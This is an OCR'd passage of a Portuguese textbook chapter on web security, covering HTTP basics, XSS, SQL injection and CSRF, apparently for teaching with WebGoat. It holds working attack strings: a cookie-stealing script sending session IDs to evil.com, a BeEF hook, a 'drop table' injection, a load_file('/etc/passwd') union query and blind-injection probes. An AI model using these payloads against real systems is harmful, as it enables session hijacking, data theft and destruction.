linha da resposta do servidor a uma requisicao e denotam o resultado da solicitagao.
Sao divididos em cinco classes, de acordo com o significado:

e 1xx — c6digos de informagao. Atualmente, sdo raramente utilizados (SANS,
2008Db).

e 2xx — indicam que a requisicao foi atendida com sucesso. Ex.: 200 OK —
resposta padrao, quando o recurso € provido sem erros.

e 3xx — informam que o cliente precisa realizar agoes adicionais para completar
a requisicao. Ex.: 301 Moved Permanently — faz com que requisicoes sub-
seqiientes da URL solicitada sejam permanentemente redirecionadas para a
informada na mensagem.

e 4xx — enviadas quando a requisicao nao pode ser atendida, por erro de sintaxe,
falta de autorizacao ou porque o recurso nao foi encontrado. Ex.: 404 Not
Found — o recurso nao pode ser encontrado no servidor.
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e 5xx — indicam erros no servidor que o impediram de atender a requisicao. Ex.:
501 Not Implemented — o servidor nao suporta o método solicitado.

6.4.1.5. Cabecalhos

Os cabecalhos compdem a segunda se¢ao das requisigoes e respostas e definem varias
caracteristicas importantes de ambas. Sao compostos do nome e do valor, separados
pelo sinal de dois-pontos, e listados um por linha. Os itens abaixo explicam alguns
dos cabecalhos encontrados nos exemplos das Segoes 6.4.1.1 e 6.4.1.2:

e Host — nome de dominio do servidor.
e User-Agent — indica a aplicagao cliente que gerou a requisicao.
e Accept — tipos de conteido aceitos pela aplicacao cliente.

e Server — nome do servidor e informacoes do sistema operacional. Se nenhum
mecanismo de camuflagem for utilizado, pode ser empregado para identificacao
do elemento, durante a fase de reconhecimento em um ataque.

e Set-Cookie — define um cookie no navegador, que é o mecanismo utilizado para
manter uma sessao, no protocolo HT'TP.

e Expires — determina a validade do corpo da mensagem, isto é, até que instante
o navegador pode utiliza-lo, a partir de uma cépia local, sem necessitar realizar
novas requisicoes para 0 mesmo recurso.

e Content-Length — o comprimento em bytes do corpo da mensagem.

6.4.1.6. Cookies

Um cookie é um elemento do protocolo HT'TP, enviado ao navegador pelo servidor,
com o objetivo de lembrar informacoes de um usudrio especifico. E formado por uma
cadeia de caracteres, normalmente, organizada em pares nome/valor, separados por
ponto-e-virgula. Uma vez definido, é enviado pelo navegador em toda requisigao
subseqiiente ao mesmo dominio. Dois usos principais incluem a manutencao de ses-
sao, uma vez que isso nao é suportado nativamente pelo protocolo, e a autenticagao
de usuarios.

Alguns atributos podem ser definidos para os cookies, além dos pares con-
tendo nome e valor (Stuttard and Pinto, 2007):

e expires — define por quanto tempo o cookie é valido e, assim, permite que o
estado se mantenha apds o navegador ser encerrado.

e domain — define para quais dominios o cookie é valido, desde que o servidor
seja um membro daqueles.
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e path — define os caminhos para os quais cookie é valido.

e secure — demanda que o cookie seja enviado somente em requisigoes feitas por
meio de HTTPS.

e HttpOnly — quando definido, impede que seja acessado por cédigo executado
no lado do cliente. Porém, nem todo navegador honra esse atributo.

6.4.1.7. Autenticacao HTTP

O protocolo HTTP possui dois métodos nativos, Basic e Digest, para autenticar
usudrios, antes que acessem recursos protegidos do servidor (Franks et al., 1999).
Ambos seguem o seguinte fluxo geral:

1. Usudrio solicita um recurso protegido do servidor.

2. Se o usuario ainda nao se autenticou, uma resposta com cédigo de estado 401
Unauthorized é enviada ao navegador, juntamente com um cabecalho WWW-
Authenticate, que define o tipo requerido de autenticacao.

3. O usudrio fornece usuario e senha em uma caixa de didlogo, os quais sao
enviados, em um cabecalho Authorization, codificados em BASE64, no caso
de Basic, e protegidos pelo algoritmo MDS5, no caso de Digest.

4. Se as credenciais enviadas forem vélidas, o servidor fornece o recurso solici-
tado e as credenciais sao incluidas em toda requisicao subseqiiente ao mesmo
dominio. Senao, o fluxo retorna ao segundo passo.

A impossibilidade de travamento de conta por multiplas tentativas sucessi-
vas e invalidas de autenticacao e a inexisténcia de mecanismos de encerramento de
sessao (exceto, fechando-se o navegador) sao alguns dos problemas desses métodos

de autenticagao (SANS, 2008b).

6.4.2. Certificado Digital

Existe muita confusao na literatura e entre profissionais de seguranca sobre o que
realmente é um certificado digital. E muito comum encontrar afirmacgoes de que ele
serve para autenticar uma entidade, como um servidor web, por exemplo. Mas, isso
esta longe de ser a verdade. O propdsito de um certificado, na realidade, é atestar a
autenticidade da chave publica de uma entidade, condicao que é fundamental para
o emprego de criptossistemas assimétricos (Menezes et al., 2001).

Isso é obtido pela confianca depositada em uma terceira parte confiavel, a
autoridade certificadora (AC), que assina digitalmente um documento eletronico
contendo informacoes sobre uma dada entidade e a chave publica auténtica dela.
Esses dados mais a assinatura digital compoem o certificado digital, que pode ser
distribuido por canais inseguros, sem o risco de adulteragao indetectavel. A emissao,
como ¢é chamado o processo descrito, deve ocorrer apenas apds a AC, com a diligéncia
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devida, verificar documentos comprobatdérios da identidade da entidade e que ela tem
a posse da chave privada associada.

Para validar um certificado digital, é necessario verificar se a data atual esta
dentro do prazo de validade do certificado, se ele nao esta revogado e se a assinatura
digital da autoridade certificadora esta correta. Esta ultima parte requer a chave
publica auténtica da AC, a qual pode ser obtida por meio de um certificado digital
emitido para ela, por uma AC de nivel superior, ou por meio de um certificado
auto-assinado, caso seja uma AC raiz. Neste ultimo caso, o certificado é assinado
com a prépria chave privada associada a chave publica contida nele. Uma vez que
qualquer pessoa pode gerar um certificado assim, é primordial que seja fornecido por
um canal auténtico e integro.

6.5. Vulnerabilidades

Esta segao discute algumas das vulnerabilidades consideradas pelo projeto OWASP
Top Ten, com a seguinte abordagem: inicialmente, uma breve descricao da fraqueza
e as causas de ocorréncia sao apresentadas; em seguida, ela ¢ ilustrada com cenarios
de exploracao, na grande maioria, baseados no WebGoat e, adicionalmente, na ex-
periéncia pratica dos autores; depois, testes que podem ser efetuados para detectar
o problema sao introduzidos e, por fim, explicam-se as contramedidas que podem
ser adotadas para evitar-se a criacao de aplicacoes contendo a vulnerabilidade.

6.5.1. Cross Site Scripting

6.5.1.1. Descricao e Causas

Cross Site Scripting, também conhecido como XSS3, é o defeito mais comumente
encontrado em aplicacoes web e permite utilizar uma aplicacao vulneravel, para
transportar codigo malicioso, normalmente escrito em Javascript, até o navegador
de outro usudario. Dada a relacao de confianga estabelecida entre o navegador e
o servidor, aquele entende que o codigo recebido € legitmo e, por isso, permite que
informagoes sensiveis, como o identificador da sessao do usuério, por exemplo, sejam
acessadas por ele. Com isso em maos, um usuario malicioso pode seqiiestrar a sessao
da pessoa atacada (Stuttard and Pinto, 2007; Howard et al., 2005; Fogie et al., 2007).

Esta vulnerabilidade ocorre sempre que uma aplicacao web nao valida infor-
magoes recebidas de uma entidade externa (usudrio ou outra aplicacdo) e as insere
inalteradas em alguma pagina gerada dinamicamente. A razao disso é que qualquer
codigo contido naquelas informacoes sera interpretado como tal, pelo navegador do
usuario que realiza o acesso, e executado automaticamente, no contexto da sessao.
Para exemplificar, imagine que o texto fornecido e integralmente “exibido” pela apli-
cagao seja <script>alert ("XSS")</script>. O resultado do ataque esta ilustrado
na Figura 6.2, juntamente com o trecho de cédigo-fonte pertinente.

Dependendo de como o contetido malicioso chega até a vitima, o XSS ¢é clas-
sificado em XSS refletido ou XSS armazenado.

3A sigla utilizada nao é CSS, para nio ser confundida com Cascade Style Sheets.
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Figura 6.2. Exemplo de vulnerabilidade XSS.

XSS Refletido

Nesta classe de XSS, o cédigo é enviado na URL ou no cabegalho HTTP, como
parte da requisicao, explorando um parametro que é exibido sem tratamento na
pagina resultante. Normalmente, requer que o usuario seja induzido a clicar em um
link especialmente construido, com conteido malicioso. De acordo com Stuttard
and Pinto (2007), é muito comum em péginas dinamicas utilizadas para exibi¢ao de
mensagens parametrizadas de erro.

Veja-se, a seguir, os passos necessarios para a exploragao da vulnerabilidade:

1. O atacante fornece a vitima uma URL para a aplicacao vulneravel, com cédigo
Javascript embutido em um dos parametros;

2. A vitima solicita a aplicacao vulneravel o recurso identificado pela URL for-
necida no primeiro passo;

3. A aplicag@o atende a requisigao e reflete o cddigo malicioso para o navegador
do usuario;

4. O Javascript escrito pelo atacante é executado na maquina do usuario, como
se fosse proveniente da aplicacao.

Como exemplo, considere-se uma aplicacao que possua um campo de busca
e que exiba uma mensagem de erro contendo o valor digitado, quando ele nao for
encontrado na base de dados. Supondo que a requisicao é feita pelo método GET
e a informacao procurada é passada no parametro search_name, a seguinte URL
pode ser empregada em um XSS refletido:

http://localhost:8080/WebGoat/attack?Screen=33&menu=900&
search_name=X<script>alert (%22XSS%20Refletido%22)
</script>&action=FindProfile

Note-se que, além do texto “X”, um codigo Javascript para exibicao de caixa
de mensagem ¢ passado como parte do parametro search_name. Dada a inexisténcia
do valor na base, a aplicacao exibe pagina de erro, informando que “X<script>...”
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nao foi encontrado. Ao realizar isso, porém, o cédigo fornecido em search_name é
embutido no HTML e executado pelo navegador, como ilustrado na Figura 6.3.

J LAB: Cross Site Scripting - Mozilla Firefox

Arquivo  Editar  Exibir  Histdrico  Faworitos  Ferramentas  Ajuda

6 - c x fﬁ ( |j |http:,i,l’loca\host:SDSD,I’WabGoat)’attack?Screan=33&menu=9006|search_name=><<script>alert("><55 ReFIetido")<,iscript)*&actinn=Fin i} " |"Goo
|8 Wais visitados 4 Guia rapido Ultimas noticias |j webGoast

Norton - Q - @ Cartfies & Logins =

Fraxy: " apply f Edit '!B Remove D Add | Status: Lsing WebScarab | % Preferences

AIAR Security
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Search For User
Employae

Cross-Site Scripting (#S5)
Denial of Service

Improper Error Handling

Injection Flaws

Insecure Commmunication

Figura 6.3. Exemplo de XSS refletido.

XSS Armazenado

XSS armazenado ou persistente recebe este nome porque o cédigo malicioso é ar-
mazenado pela aplicacao, normalmente em um banco de dados, e exibido a todos
0S USuarios que acessarem O recurso. E um tipo mais perigoso, pois pode afetar
uma quantidade maior de usuarios, de uma unica vez, além de nao ser necessario
induzi-los a seguir um /ink para serem atacados.

Um exemplo comum é um férum de discussao, em que alguns usuarios expoem
as duvidas deles, para que outros as esclarecam. Neste caso, os passos para realizar
um XSS armazenado estao representados na Figura 6.4 e descritos a seguir:

Message List 2 res
I = ‘ Vitima
Boa perquntalll

Title: :Bua perguntalll ‘
Message: cseriptsalert ("XSS") </script> | 1 [ 3 E A pagina http://localhost: 8080 diz: )
[ | Title: A ==
- [t 4

L1
‘ Atacante

Message Contents For: Boa pergunta!!!
Title: ~ Boa perguntall!
Message:

Figura 6.4. Exemplo de XSS armazenado.
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1. Um usuério malicioso insere cddigo (<script>alert("XSS")</script>, por
exemplo) no corpo da pergunta e a submete a aplicagdo defeituosa, que, por
esse motivo, nao valida a entrada e armazena o texto integralmente no banco
de dados;

2. Um outro usuario verifica a lista de perguntas e resolve acessar justamente
aquela com conteido malicioso;

3. A aplicacao recupera a informagcao do banco de dados e a utiliza para gerar a
pagina solicitada;

4. O Javascript escrito pelo atacante é transportado até o navegador do usuédrio,
onde é executado.

6.5.1.2. Cenarios de Exploracao

Geralmente, um ataque de cross site scripting é demonstrado por meio da exibicao
de uma caixa de mensagem, como nos exemplos desta secao. Esta pratica deu origem
ao mito de que XSS nao é um grande problema de seguranca, pois passa a idéia de
que isso é o maximo que se pode fazer. No entanto, por meio da exploracao da

vulnerabilidade, é possivel (SANS, 2008b,a; Stuttard and Pinto, 2007):

e Seqiiestrar uma sessao da aplicacao;
e Redirecionar o usudrio para outra pagina;

e Realizar uma varredura na rede local da vitima, aproveitando-se de que o
conteudo malicioso ja estd no segmento interno da rede;

e Desfigurar paginas HTML a medida que sao recebidas;
e Instalar um keylogger:;

e Criar uma teia de navegadores escravos, que executara comandos Javascript
arbitrarios.

Qualquer uma das situacoes acima, claramente, é bem mais critica que a
simples exibicao de uma mensagem. Imagine-se, por exemplo, uma aplicacao de
internet banking vulneravel, que permita seqiiestrar sessoes de outros usuarios. Os
efeitos podem ser catastroficos, se outros controles nao estiverem presentes. Este
tipo de exploragao, juntamente com a escravizacao de navegadores, é detalhado nos
proximos paragrafos.

Cenario 1: Seqiiestro de sessao
Os parédgrafos abaixo ilustram como um ataque de cross site scripting pode ser
utilizado para obtencao do identificador de sessao, e consequente seqiiestro desta:
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1. Um usuario malicioso acessa a aplicacao e introduz o seguinte cédigo em um
campo vulneravel:

<script>
document .write(’<img src="https://evil.com/Inv.htm?SID=’ +
document.cookie +
;u)z)
</script>

2. A vitima se autentica na aplicacao e, como sempre, recebe um identificador de
sessao, conforme ilustrado na Figura 6.5.

3. Em seguida, o usudario acessa uma pagina que exibe a informacao obtida a
partir do campo vulneravel.

4. O codigo malicioso é transportado até o navegador da vitima e, quando execu-
tado, inclui uma imagem dinamicamente na pagina sendo exibida. Utiliza-se
um marcador para imagem, em vez de um link, porque o primeiro busca o re-
curso automaticamente, sem precisar de intervencao do usudrio. Assim, uma
requisicao contendo o identificador de sessao da vitima é feita para evil.com,
servidor dominado pelo atacante.

5. O atacante acessa as trilhas de requisi¢oes do servidor evil.com e procura por
registros como o seguinte:

[13/Aug/2009:22:01:04 -0400] 192.168.10.1 TLSvl DHE-RSA-AES256-
SHA "GET /Inv.htm?SID=JSESSIONID=928261AAAFB29F3A4847BEAD4EOCSE
12 HTTP/1.1" 289

6. Para finalizar, o usuario malicioso envia uma requisicao a aplicacao, mas subs-
tituindo o identificador de sessao atribuido a ele pelo obtido na trilha de au-
ditoria. O sistema entenderd que a solicitagao partiu da vitima, com base no
identificador enviado.

Cenario 2: Escravizacao de navegador

BeEF é um arcabougo para exploragao avangada de navegadores, baseado na lingua-
gem Javascript. Basta que o script de controle seja executado, para que o navegador
passe a figurar como um zumbi a mercé do atacante. A partir disso, cédigo arbi-
trario pode ser executado na méaquina cliente, possibilitando realizar varreduras de
rede, capturar identificadores de sessao e roubar dados da area de transferéncia do
Windows, se versoes antigas de Internet Explorer forem utilizadas. E facil perceber,
nesse contexto, como um ataque XSS pode ser empregado:

1. Usuéario malicioso acessa a aplicacao e insere o seguinte codigo em um campo
vulneravel:
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Figura 6.5. Identificador de sessdao do usuario guest.

<script src="http://www.beef.com/beef/hook/beefmagic.js.php">
</script>

2. Vitima se autentica na aplicagao e, em seguida, acessa uma pagina que exibe
a informacao obtida a partir do campo vulneravel.

3. O script do BeEF é executado e conecta-se ao gerenciador, escravizando o
navegador. A Figura 6.6 ilustra a tela de gerenciamento do BeEF com dois
zumbis sendo controlados. Observe-se que o sistema operacional e o navegador
dos zumbis ¢ identificado, assim como o identificador de sessao e a URL do
recurso que carregou o script.

4. A partir desse momento, o atacante pode executar Javascript arbitrdario no
novo zumbi.

6.5.1.3. Testes

Para testar a presenca de vulnerabilidades XSS em uma aplicacao web, o seguinte
roteiro pode ser adotado (Wysopal et al., 2006; Meucci et al., 2008; Stuttard and
Pinto, 2007; Howard et al., 2005):

1. Identifique a superficie de ataque da aplicacao, isto é, todos os campos e pa-
rametros que aceitam informagcoes do usuario ou de fontes externas e que sao
exibidos em alguma das telas do sistema.

2. Para cada item encontrado no primeiro passo, insira algum codigo Javascript
e submeta a requisicao. Adapte a entrada a maneira como ela é utilizada na
geracao da pagina. Por exemplo, se ela for inserida em um elemento, como
<... value="entrada">, o vetor de teste deve primeiramente fecha-lo, antes
da inclusao do cédigo. Uma possibilidade, neste caso especifico, seria utilizar
a cadeia “"><script>...</script>”.
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Figura 6.6. Tela de gerenciamento do BeEF com dois zumbis sob controle.

3. Verifique se o valor de teste aparece integralmente no HTML gerado ou se é
tratado, antes de ser concatenado. Se houver filtros de protecao, retorne ao
segundo passo e empregue cada um dos vetores disponiveis em http://ha.
ckers.org/xss.html, até obter sucesso ou exaurir todas as opgoes.

6.5.1.4. Contramedidas

Recapitulando, a causa raiz do XSS é que codigo fornecido por um usudario malicioso é
diretamente utilizado na construcao de paginas dinamicas, sem o devido tratamento.
Isso faz com que ele seja inserido no meio de HT'ML puro e entendido de acordo com
as marcagoes utilizadas. Tendo isso em mente, as contramedidas tornam-se claras:

1. Considere que toda informagao fornecida por usuérios é maliciosa e, assim,
antes de processa-la, verifique se ela esta de acordo com valores reconhecida-
mente validos para o campo ou parametro. E importante mencionar que esta
abordagem é superior ao uso de listas negras, pois, dificilmente, é possivel enu-
merar todas as entradas perniciosas possiveis. Complementarmente, restrinja
o tamanho do campo ao maximo permitido.

2. Utilize codificacao HTML na saida, o que faz com que caracteres potencial-
mente perigosos sejam tratados como parte do contetido da pagina HTML,
em vez de considerados parte da estrutura (Stuttard and Pinto, 2007; van der
Stock et al., 2008). Por exemplo, o texto <script> seria inserido na pégina
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como &lt;script&gt;, uma vez codificado. A Tabela 6.2 d4 o mapeamento
para os principais caracteres problematicos.

Tabela 6.2. Codificacao HTML.

Caractere " ’ & < >
Entidade | &quot; | &apos; | &amp; | &lt; | &gt;

6.5.2. Injecao de SQL

6.5.2.1. Descricao e Causas

Injecao de SQL é, depois de cross site scripting, a vulnerabilidade mais comum
em aplicagoes web, nos dias atuais (Stuttard and Pinto, 2007; Howard et al., 2005;
SANS, 2008b,a). Consiste em injetar cédigo SQL, em campos e parametros da apli-
cacao, com o objetivo de que seja executado na camada de dados. Em ataques
mais simples, é possivel realizar qualquer operagao no banco de dados, limitada aos
privilégios da conta que realiza o acesso. Mas, considerando que ¢ tipico que contas
administrativas sejam utilizadas nos sistemas, nao ha restricoes quanto ao que pode
ser feito, na pratica. Além disso, com um pouco mais de elaboracao, pode-se apro-
veitar os mecanismos de interagao com o sistema operacional, existentes em bancos
de dados, para leitura/escrita de arquivos e execugao de comandos arbitrarios.

A principal causa do problema é que dados fornecidos por um usudrio sao
diretamente concatenados na construcao do comando SQL a ser executado pelo
sistema gerenciador de banco de dados, sem um tratamento adequado. Exempli-
ficando, considere-se uma aplicacao que aceite como entrada um sobrenome e que
liste os nuimeros de cartao de crédito associados a ele, por meio de uma consulta
construida da seguinte maneira:

sComando = "select * from user_data
where last_name = ’" +
inputLastName + "’"

Se um usuario fornecer um valor comum para o campo inputLastName, como
“Smith”, por exemplo, a aplicagdo segue o curso normal de operagao, realizando a
consulta abaixo ao banco de dados e exibindo os resultados conforme a Figura 6.7:

select * from user_data where last_name = ’Smith’

Note-se que o valor digitado pelo usuario foi concatenado sem modificagdes na con-
sulta. O que aconteceria se, em vez de um dado valido, ele entrasse com a cadeia
de caracteres “ > or 1=1; --"7 A consulta resultante seria:

select * from user_data
where last_name = ’’ or 1=1; -’
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Figura 6.7. Operacao normal de uma aplicacao.
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Figura 6.8. Dados extraidos por meio de injecdo de SQL.

7

Neste caso, a clausula where é sempre verdadeira, pois a expressao “1=1" é
uma tautologia e, assim, a consulta retorna todos os dados da tabela user_data,
como pode ser observado na Figura 6.8. Perceba-se que os dois hifens no final da
entrada foram fornecidos para comentar o resto da linha e evitar erros de comando
mal formado.

Um exemplo mais contundente de ataque consiste no fornecimento da entrada
’; drop table user_data; --", que causa a remocao da tabela user_data, caso
o usuario utilizado para conexao ao banco possua os privilégios necessarios. E claro
que, para realizar este ataque e outros similares, o usuario malicioso necessitaria
conhecer a estrutura de tabelas e demais objetos do banco. Mas essas informa-
¢oes, muitas vezes, sao fornecidas gratuitamente em mensagens de erros, conforme
explicado na Secao 6.5.4.

(13

Do acima exposto, pode-se concluir, equivocadamente, que se os erros forem
tratados antes de exibidos ao usudrio, atacantes terao as acoes limitadas, por des-
conhecimento da estrutura do banco. Ora, seguranga é algo que deve ser realizado
em camadas e, portanto, essa medida deve ser adotada. Mas a triste verdade é
que, se os defeitos mais fundamentais, como a falta de validagao da entrada e a
maneira como as consultas sao construidas, nao forem corrigidos, a aplicacao ainda
continuard vulneravel a injecao de SQL! E, nessa situagao, uma variante do ataque,
conhecida como Injegao de SQL as Cegas (Spett, 2003), pode ser empregada
para recuperar a estrutura e o conteido do banco. Esta técnica sera explicada no
Cenério 2 da Secao 6.5.2.2.
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6.5.2.2. Cenarios de Exploracao

Cenario 1: Acesso ao sistema de arquivos

Cada sistema gerenciador de banco de dados, normalmente, possui um conjunto de
rotinas embutidas, que permitem interagir com o sistema operacional e podem ser
chamadas como parte de um comando SQL. Um exemplo famoso é o xp_cmdshell do
SQL Server, que permite efetuar as mesmas tarefas que as possiveis em um shell do
Windows (SANS, 2008a). Logo, por meio dele, um usudrio é capaz de iniciar e parar
servigos, remover arquivos e executar comandos arbitrarios no sistema operacional.
Outro exemplo interessante sao os mecanismos que permitem ler e escrever o sistema
de arquivos e que estao sumarizados na Tabela 6.3.

Tabela 6.3. Mecanismos para acesso ao sistema de arquivos.

’ SGBD | Mecanismo

MySQL load_file()

Oracle UTL_FILE

DB2 import from, export to

SQL Server | BULK INSERT <tabela> FROM <arquivo>

Considere-se, entao, uma aplicacao que utiliza um SGBD MySQL, executado

em plataforma Linux, e que exibe um relatério, com base no valor digitado pelo usua-
rio em um campo de busca. Observe-se como um usudrio malicioso pode aproveitar
a vulnerabilidade da aplicagao para acessar arquivos no sistema operacional:

1. O usuério malicioso coloca o caractere

Wyn

no campo de busca e submete a
requisicao. A aplicacao retorna uma mensagem informando erro de sintaxe e
que o manual do MySQL deve ser consultado. Neste ponto, obtém-se o conhe-
cimento do SGBD utilizado e que a aplicacao, provavelmente, é vulneravel a
injecao SQL.

O atacante envia nova requisi¢ao, mas desta vez com um valor valido, e recebe
um relatério contendo uma coluna alfanumérica e outra numérica. A informa-
¢ao do numero de colunas e o tipo delas é fundamental para a execucao do
passo seguinte.

. O atacante coloca o seguinte texto no campo de busca e envia a solicitacao:

> union select load_file(’/etc/passwd’),1 #

. A aplicacao recebe a entrada e executa o comando injetado load_file, res-

ponsavel, neste cenario, pela leitura do arquivo /etc/passwd, cujo conteido
¢ incluido no relatério exibido ao atacante. Note-se que o comando select
é escrito com duas colunas, para ser possivel realizar a uniao com as tuplas
obtidas da consulta original. O simbolo #, por sua vez, é empregado para
comentar o resto da linha sendo concatenada.
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Cenario 2: Injecao de SQL as cegas

O presente cenario considera uma aplicacao com um unico campo, para entrada de
um numero de conta bancaria. Sabe-se que a consulta realizada, quando o formulario
¢ submetido, ¢ feita a um SGBD MySQL, sobre a tabela user_data, que possui as
colunas first_name e userid. O objetivo do problema é encontrar o primeiro nome
do cliente com identificador 15613:

1. O usuéario malicioso fornece varias entradas, como ilustrado na Figura 6.9, e
verifica o resultado das solicitagoes. O item (A) indica que a aplica¢ao deve ser
vulneravel a injecao de SQL; o (B) mostra a mensagem informada quando a
clausula where ¢é avaliada como falsa, ao contrério de (C); por fim, o teste (D)
mostra que é possivel colocar expressoes logicas, apds o nimero de conta, que,
se verdadeiras, retornam a mensagem de conta valida. Isto permite realizar
perguntas booleanas ao banco de dados e é o cerne de injecao de SQL as cegas.

Enter your Account Murmnber: |' Gal Enter your Account Number: |B00 Gol
Invalid account nurmber

An error occurred, please try again, A

Enter your Account Mumber: | 101 Gol Enter your Account Number: [1071 and 1=1 Gol

Account number is valid Account nurnber is valid

Figura 6.9. Mensagens exibidas em resposta a diversas entradas.

2. O préximo passo é descobrir o comprimento do primeiro nome do cliente alvo.
Para isso, o campo ¢é preenchido com o seguinte valor:

500 or userid=15613 and char_length(first_name)=3
O numero de conta 500 é avaliado sempre como falso, conforme item (B) da

Figura 6.9. Isso implica que a expressao so sera verdadeira, quando o segundo
operando do “or” também for. O resultado da submissao esta ilustrado a seguir:

Enter your Account Murnber: |500 or userid=15613 anc

Invalid account nurmber

Figura 6.10. Teste de comprimento do nome igual a trés.

3. O atacante muda o valor de char_length() para 4 e 5 e obtém a mesma
mensagem, até que testa o valor 6, quando obtém “Account number is valid”.
Isso significa que, para o userid=15613, o comprimento do campo first_name
é seis:
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500 or userid=15613 and char_length(first_name)=6

4. Agora, é necessario descobrir o valor de cada uma das letras que compoem o

nome do cliente. Para isso, serao utilizadas as fungoes ascii() e substring()
que retornam, respectivamente, o valor ASCII do parametro e uma subcadeia
da cadeia de caracteres fornecida. A entrada que deve ser utilizada é:

500 or userid=15613 and ascii(substring(first_name,1,1))=65

No valor acima, a segunda parte do “and” verifica se o codigo ASCII do primeiro
caractere do nome do cliente é 65 (letra A maiuscula). Ao submeter este valor,
obtém-se a mensagem “Invalid account number”; que significa que a hipétese
estd incorreta. Este procedimento é repetido, aumentando-se o valor 65 de
uma em uma unidade, até receber a mensagem “Account number is valid”, no

caso, com a letra “J” (ASCII 74).

Esse processo é repetido para cada um dos demais caracteres do nome do
cliente, mas trocando a faixa de valores ASCII testados para o intervalo que
vai de 97 a 122 (letras mintsculas). Ao final das iteragoes, chega-se ao resultado
“Joesph”.

E importante observar, primeiramente, que uma busca binédria no espaco de

caracteres é mais eficiente que a busca linear realizada. Em segundo lugar, esse tipo
de ataque requer automatizacao, pois sao muitos os passos que devem ser executados
para a extragao de uma unica informacao.

6.5.2.3. Testes

A melhor maneira de realizar testes em uma aplicacao, para detectar se sao vul-
neraveis a injecao de SQL, é por meio de ferramentas automatizadas. Contudo, é
importante saber como um teste manual pode ser executado (Meucci et al., 2008):

1. Identifique a superficie de ataque da aplicacao, isto é, todos os campos e pa-

rametros que aceitam informacgoes do usuario ou de fontes externas e que sao
utilizados na construcao dinamica de comandos SQL.

Fornega, para cada um dos campos ou parametros, delimitadores de cadeias de
caracteres ou um ponto-e-virgula. Esses valores resultarao em consultas mal
formadas, caso a aplicagao seja vulneravel, e, se erros nao forem capturados,
eles serao direcionados ao usuario. Muitas vezes, essas mensagens de erro
contém informagoes importantes, para o direcionamento de um ataque, como,
por exemplo, o fornecedor do banco de dados utilizado ou o préprio comando
SQL executado.

Se a aplicagao filtrar as mensagens de erro, os campos e parametros devem ser
testados, utilizando-se técnicas de injecao de SQL as cegas, conforme descrito
na Secao 6.5.2.2.
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6.5.2.4. Contramedidas

Para evitar que aplicagdes web sejam vulneraveis a ataques de injecao de SQL, os
seguintes controles devem ser adotados no processo de desenvolvimento:

1. Considere que toda informacao fornecida por usuarios é maliciosa e, assim,
antes de processa-la, verifique se ela esta de acordo com valores reconhecida-
mente validos para o campo ou parametro. E importante mencionar que esta
abordagem ¢ superior ao uso de listas negras, pois, dificilmente, é possivel enu-
merar todas as entradas perniciosas possiveis. Complementarmente, restrinja
o tamanho do campo ao maximo permitido.

2. Nao submeta consultas ao banco de dados que sejam resultantes da concate-
nacao de entradas fornecidas por usudrios com o comando a ser executado.

3. Utilize apenas comandos preparados (prepared statements), os quais sdo pré-
compilados e permitem apenas a definicao de parametros em posicoes bem
definidas. Desse modo, qualquer comando fornecido por um usuario malicioso,
como parte da entrada, sera interpretado como um dado pelo SGBD.

4. Realize o acesso a camada de dados, por meio de procedimentos definidos no
banco de dados, encapsulando, assim, a estrutura das tabelas que compoem a
aplicacao.

5. Capture todos os erros de execucao e fornega apenas mensagens tratadas aos
usuarios, isto é, nao exiba erros contendo comandos SQL, pilhas de execucao
e codigos especificos de plataforma.

6. Utilize na aplicacao uma conta para acesso ao banco de dados com os minimos
privilégios necessarios a execugao das tarefas. Nunca use contas com privilégios
DDL (Data Definition Language) e, muito menos, contas administrativas. Se
isso nao for respeitado, a extensao do dano, em caso de ataque bem sucedido,
poderd ser muito maior, uma vez que o atacante sera capaz de remover, incluir
e alterar objetos estruturais, como tabelas e indices, por exemplo.

7. Realize o robustecimento do SGBD, eliminando objetos, usuérios e privilégios
desnecessarios. Por exemplo, em versoes mais antigas de Oracle, muitos paco-
tes vinham com privilégio de execucao concedido para PUBLIC, por padrao.
Como no item acima, a idéia deste controle é diminuir a extensao do dano,
caso as linhas de defesa falhem.

6.5.3. Cross Site Request Forgery
6.5.3.1. Descricao e Causas
Cross Site Request Forgery (CSRF) é um ataque que aproveita-se de uma sessao de

usuario ja estabelecida na aplicacao vulneravel, para realizar acoes automatizadas,
sem o conhecimento e consentimento da vitima. Exemplos de operagoes que podem
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ser executadas variam de um simples encerramento de sessao até a transferéncia de
fundos em uma aplicagao bancéria. Na literatura, também é conhecido por diversos
outros nomes, como XSRF, Session Riding, ataque One-Click e Cross Site Reference
Forgery, os quais representam bem a natureza do problema, que estd fundamentado
em trés pilares principais (Meucci et al., 2008):

e Cookies e cabecalhos de autorizagao de usuarios autenticados em uma aplica-
¢ao web sao enviados automaticamente pelos navegadores em quaisquer requi-
sicoes feitas a ela.

e Uso de estrutura de URLs invariavel, isto é, cada recurso da aplicagao é sempre
acessado pela mesma URL.

e A aplicacdo autoriza/nega que um usudrio acesse um recurso, apenas com base
em informagoes de sessao que sao enviadas automaticamente pelos navegado-
res, conforme o primeiro item.

Esses trés pontos podem ser explorados por um ataque CSRF da maneira
ilustrada na Figura 6.11, cujas etapas sao abaixo esclarecidas:

Www.app.com
Vitima

Usuario + senha

(1
Identificador de sesséao (SID) 2
<a href="http://www.app.com/proc.js?acao=10">
Clique aqui</a>
(3)

SID + hitp://www.app.com/proc.js7acao=10 @

4

Acao "10" realizada com sucesso!
(3)

Figura 6.11. Passos de um ataque CSRF.

1. Usudrio acessa a aplicacao web e informa o identificador e senha para autenticar-
se e poder utilizar opcoes protegidas do sistema.

2. A aplicacao verifica as credenciais e, caso estejam corretas, atribui um identi-
ficador tinico a sessao do usudrio, na forma de um cookie. Este sera enviado
pelo navegador em todas as requisi¢oes seguintes que forem feitas ao sistema.
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3. Um usuario malicioso, que conhece a estrutura das URLs da aplicacao, envia
uma mensagem a vitima, contendo um link para execucao de uma agao no
sistema. Note-se que, com essa abordagem, o usuario deve ser induzido a clicar
no link, para que o ataque funcione. Logo, é mais eficaz utilizar marcadores
HTML que realizem as requisi¢oes, sem intervencao humana, como é o caso
de imagens.

4. A vitima abre uma nova janela do mesmo navegador que esta usando no acesso
a aplicacao, para ler as mensagens de correio eletronico. Nisso, acessa a mensa-
gem maliciosa e clica no link fornecido. O navegador, entao, efetua a requisicao
a aplicacao e envia as credenciais do usuario.

5. A aplicacao atende a requisicao, pois nao tem como discerni-la de uma solici-
tacao legitima, feita pela propria interface.

Note-se que em um ataque de cross site scripting, explora-se a confianca
depositada pelo usudrio no site. No caso de cross site request forgery ocorre o

contrario: o que é abusada ¢é a confianca que a aplicacao tem no cliente ja autenticado
(SANS, 2008b).

6.5.3.2. Cenarios de Exploracao

